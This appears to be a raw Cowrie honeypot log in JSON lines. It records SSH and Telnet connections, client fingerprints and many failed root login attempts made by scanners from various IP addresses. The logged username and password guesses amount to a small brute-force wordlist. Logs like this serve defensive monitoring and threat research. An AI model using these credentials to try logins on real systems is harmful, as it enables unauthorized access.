{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:24.641522Z","src_ip":"182.18.161.165","session":"97e0b34d07f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29031991","message":"login attempt [root/29031991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:24.800843Z","src_ip":"109.237.96.109","session":"eb393204d561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:24.843251Z","src_ip":"182.18.161.165","session":"97e0b34d07f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:25.682775Z","src_ip":"182.18.161.165","session":"97e0b34d07f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:25.894914Z","src_ip":"109.237.96.109","session":"eb393204d561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:26.887268Z","src_ip":"182.18.161.165","session":"97e0b34d07f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.210166692733765,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:27.503896Z","src_ip":"69.4.83.194","session":"fd5a62618786","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":79.25687766075134,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:27.851836Z","src_ip":"178.128.93.180","session":"4f33b9716787","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:31.379201Z","src_ip":"213.183.120.56","session":"49ca7a38773d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40694,"dst_ip":"159.203.135.109","dst_port":23,"session":"a390c969217a","protocol":"telnet","message":"New connection: 69.4.83.194:40694 (159.203.135.109:23) [session: a390c969217a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:38.032786Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":37598,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0c25f2ceb69","protocol":"ssh","message":"New connection: 4.194.4.255:37598 (159.203.135.109:22) [session: e0c25f2ceb69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:45.843296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:45.848858Z","src_ip":"4.194.4.255","session":"e0c25f2ceb69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:46.088402Z","src_ip":"4.194.4.255","session":"e0c25f2ceb69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gr123456@","message":"login attempt [root/Gr123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:47.052694Z","src_ip":"4.194.4.255","session":"e0c25f2ceb69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":40360,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef66f41f8422","protocol":"ssh","message":"New connection: 101.79.165.133:40360 (159.203.135.109:22) [session: ef66f41f8422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:48.262654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:48.268446Z","src_ip":"101.79.165.133","session":"ef66f41f8422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:48.289725Z","src_ip":"4.194.4.255","session":"e0c25f2ceb69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:48.483076Z","src_ip":"101.79.165.133","session":"ef66f41f8422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":39014,"dst_ip":"159.203.135.109","dst_port":22,"session":"e848ad2b6d0e","protocol":"ssh","message":"New connection: 37.233.85.71:39014 (159.203.135.109:22) [session: e848ad2b6d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:48.888721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:48.892962Z","src_ip":"37.233.85.71","session":"e848ad2b6d0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:48.992748Z","src_ip":"37.233.85.71","session":"e848ad2b6d0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":46880,"dst_ip":"159.203.135.109","dst_port":22,"session":"543d21734807","protocol":"ssh","message":"New connection: 27.50.25.190:46880 (159.203.135.109:22) [session: 543d21734807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:49.022044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:49.031201Z","src_ip":"27.50.25.190","session":"543d21734807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:49.262159Z","src_ip":"27.50.25.190","session":"543d21734807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567as","message":"login attempt [root/1234567as] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:49.292852Z","src_ip":"37.233.85.71","session":"e848ad2b6d0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hallo","message":"login attempt [root/hallo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:49.373499Z","src_ip":"101.79.165.133","session":"ef66f41f8422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab1234567","message":"login attempt [root/Ab1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:50.215953Z","src_ip":"27.50.25.190","session":"543d21734807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:50.395532Z","src_ip":"37.233.85.71","session":"e848ad2b6d0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:50.591421Z","src_ip":"101.79.165.133","session":"ef66f41f8422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:51.451005Z","src_ip":"27.50.25.190","session":"543d21734807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":47232,"dst_ip":"159.203.135.109","dst_port":22,"session":"85039c104470","protocol":"ssh","message":"New connection: 190.6.32.107:47232 (159.203.135.109:22) [session: 85039c104470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:56.159578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:56.165334Z","src_ip":"190.6.32.107","session":"85039c104470","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:56.227311Z","src_ip":"190.6.32.107","session":"85039c104470","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahmed","password":"ahmed","message":"login attempt [ahmed/ahmed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:56.481901Z","src_ip":"190.6.32.107","session":"85039c104470","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:39:57.540909Z","src_ip":"190.6.32.107","session":"85039c104470","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":58722,"dst_ip":"159.203.135.109","dst_port":22,"session":"07e50ca81a80","protocol":"ssh","message":"New connection: 103.77.242.62:58722 (159.203.135.109:22) [session: 07e50ca81a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:05.692406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:05.698997Z","src_ip":"103.77.242.62","session":"07e50ca81a80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:05.949858Z","src_ip":"103.77.242.62","session":"07e50ca81a80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":60318,"dst_ip":"159.203.135.109","dst_port":22,"session":"6aded6427d42","protocol":"ssh","message":"New connection: 106.243.250.115:60318 (159.203.135.109:22) [session: 6aded6427d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:06.587222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:06.596020Z","src_ip":"106.243.250.115","session":"6aded6427d42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"110499","message":"login attempt [root/110499] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:06.709369Z","src_ip":"103.77.242.62","session":"07e50ca81a80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:06.804708Z","src_ip":"106.243.250.115","session":"6aded6427d42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.151.75.124","src_port":39253,"dst_ip":"159.203.135.109","dst_port":23,"session":"12b8b9cced1d","protocol":"telnet","message":"New connection: 223.151.75.124:39253 (159.203.135.109:23) [session: 12b8b9cced1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:07.516576Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"a@123456","message":"login attempt [root/a@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:07.661959Z","src_ip":"106.243.250.115","session":"6aded6427d42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:07.963913Z","src_ip":"103.77.242.62","session":"07e50ca81a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:08.870528Z","src_ip":"106.243.250.115","session":"6aded6427d42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.00900936126709,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:40:11.041687Z","src_ip":"69.4.83.194","session":"a390c969217a","protocol":"telnet"}
